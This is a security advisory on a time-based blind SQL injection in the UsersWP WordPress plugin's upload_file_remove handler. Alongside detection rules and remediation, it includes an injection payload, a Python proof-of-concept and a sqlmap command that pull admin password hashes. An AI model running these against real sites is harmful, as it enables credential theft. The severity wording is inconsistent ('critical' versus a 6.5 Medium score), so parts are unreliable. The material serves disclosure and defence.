CVE-2025-10003

Executive Summary

CVE-2025-10003 is a critical time-based blind SQL Injection vulnerability discovered in the UsersWP WordPress plugin (versions up to and including 1.2.44). This plugin provides front-end login, registration, profile, and member directory functionality. The flaw resides in the upload_file_remove function, specifically within the htmlvar parameter. Due to insufficient input escaping and lack of prepared statements, an unauthenticated attacker can inject arbitrary SQL queries into the existing database query. This allows for the extraction of sensitive information, such as user credentials and session tokens, through time-based inference techniques. As a WordPress ecosystem vulnerability, it affects sites running the plugin and does not involve the underlying web server (Apache/Nginx). The vendor has not released a patch, leaving all installations vulnerable.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The UsersWP plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Since no patch is available, site administrators must consider the plugin as a compromised supply chain component. The lack of a fix from the vendor increases the risk of widespread exploitation, as attackers can target any site using the vulnerable version. Organizations should treat this as a high-priority supply chain risk and evaluate removing or replacing the plugin until a patch is issued.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the confidentiality impact is high, the attack requires time-based inference, making exploitation slower and more detectable. However, the lack of authentication and the ability to extract sensitive data (e.g., admin hashes) elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the upload_file_remove AJAX action handler. When a user removes an uploaded file, the plugin processes the htmlvar parameter without proper sanitization. The parameter is directly concatenated into an SQL query, allowing an attacker to inject malicious SQL code.

Root Cause:

• The htmlvar parameter is passed through sanitize_text_field() which only strips HTML tags but does not prevent SQL injection.
• The plugin uses $wpdb->query() with string interpolation instead of $wpdb->prepare().

Exploitation Mechanics:

1. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with action=upload_file_remove and a crafted htmlvar parameter.
2. The injected SQL uses AND SLEEP() or BENCHMARK() to cause time delays, allowing the attacker to infer database contents character by character.
3. Common targets include extracting user_pass hashes from wp_users or user_login values.

Example Injection:

' AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users WHERE user_login='admin')-- -

Vulnerable vs. Patched Code

Vulnerable Code (userswp/includes/class-userswp-ajax.php):

public function upload_file_remove() {
    $htmlvar = sanitize_text_field($_POST['htmlvar']);
    // ... other code ...
    $wpdb->query("DELETE FROM {$wpdb->prefix}uwp_form_fields WHERE htmlvar = '$htmlvar'");
}

Patched Code (hypothetical fix):

public function upload_file_remove() {
    $htmlvar = sanitize_text_field($_POST['htmlvar']);
    // ... other code ...
    $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->prefix}uwp_form_fields WHERE htmlvar = %s", $htmlvar));
}

The patched version uses $wpdb->prepare() with a placeholder (%s) to safely bind the parameter, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with UsersWP <= 1.2.44 installed and active.
• No authentication required.

Exploitation Steps:

1. Identify the AJAX endpoint: /wp-admin/admin-ajax.php
2. Craft a POST request with action=upload_file_remove and a malicious htmlvar parameter.
3. Use time-based blind SQL injection to extract data.

Proof-of-Concept (Python):

import requests
import time

target = "http://target.com/wp-admin/admin-ajax.php"
payload = "' AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users WHERE user_login='admin')-- -"

data = {
    'action': 'upload_file_remove',
    'htmlvar': payload
}

start = time.time()
r = requests.post(target, data=data)
end = time.time()

if end - start > 4:
    print("Vulnerable! First character of admin password hash is '$'")
else:
    print("Not vulnerable or character mismatch")

Automated Extraction (sqlmap):

sqlmap -u "http://target.com/wp-admin/admin-ajax.php" --data="action=upload_file_remove&htmlvar=1" --technique=T --time-sec=5 --dbms=mysql --batch

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=upload_file_remove and suspicious htmlvar parameters containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION).
• Look for abnormal response times (e.g., >5 seconds) from the AJAX endpoint.

Hardening:

• Immediately disable or remove the UsersWP plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the htmlvar parameter.
• Use a WordPress security plugin to monitor file changes and database queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=upload_file_remove and htmlvar containing SQL keywords.
  • Unusually high response times (>5 seconds) from the AJAX endpoint.
• File IOCs:
  • Modified userswp/includes/class-userswp-ajax.php file (if attacker attempts to patch).
  • Suspicious entries in wp_options or wp_usermeta tables.
• Database IOCs:
  • Unauthorized queries in MySQL slow query log with SLEEP() or BENCHMARK() functions.
  • Unexpected DELETE operations on wp_uwp_form_fields table.

Detection Engineering

YARA Rule

rule CVE_2025_10003_UsersWP_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting UsersWP upload_file_remove function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10003"
    strings:
        $s1 = "action=upload_file_remove" nocase
        $s2 = "htmlvar=" nocase
        $s3 = "SLEEP(" nocase
        $s4 = "BENCHMARK(" nocase
        $s5 = "UNION" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-10003 UsersWP SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects time-based SQL injection attempts against UsersWP plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=upload_file_remove'
        cs-uri-query|contains: 'htmlvar='
    keywords:
        - 'SLEEP('
        - 'BENCHMARK('
        - 'UNION'
    condition: selection and keywords
falsepositives:
    - Legitimate plugin functionality with unusual parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10003 UsersWP SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=upload_file_remove"; http_client_body; content:"htmlvar="; http_client_body; pcre:"/(SLEEP|BENCHMARK|UNION)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete UsersWP from all WordPress installations until a patch is released.
2. WAF Rules: Implement virtual patching via WAF to block requests containing SQL injection patterns in the htmlvar parameter.
3. Database Audit: Review database logs for unauthorized queries and check for data exfiltration.

Long-Term Fix:

• The vendor must release a patched version that uses $wpdb->prepare() for all SQL queries.
• Until then, consider replacing UsersWP with an alternative plugin (e.g., Ultimate Member, BuddyPress).

Monitoring:

• Enable MySQL slow query logging to detect SLEEP() calls.
• Use a WordPress security plugin (e.g., Wordfence) to monitor for file changes and suspicious AJAX requests.

Valters IT
DevSecOps & Cyber Threat Intelligence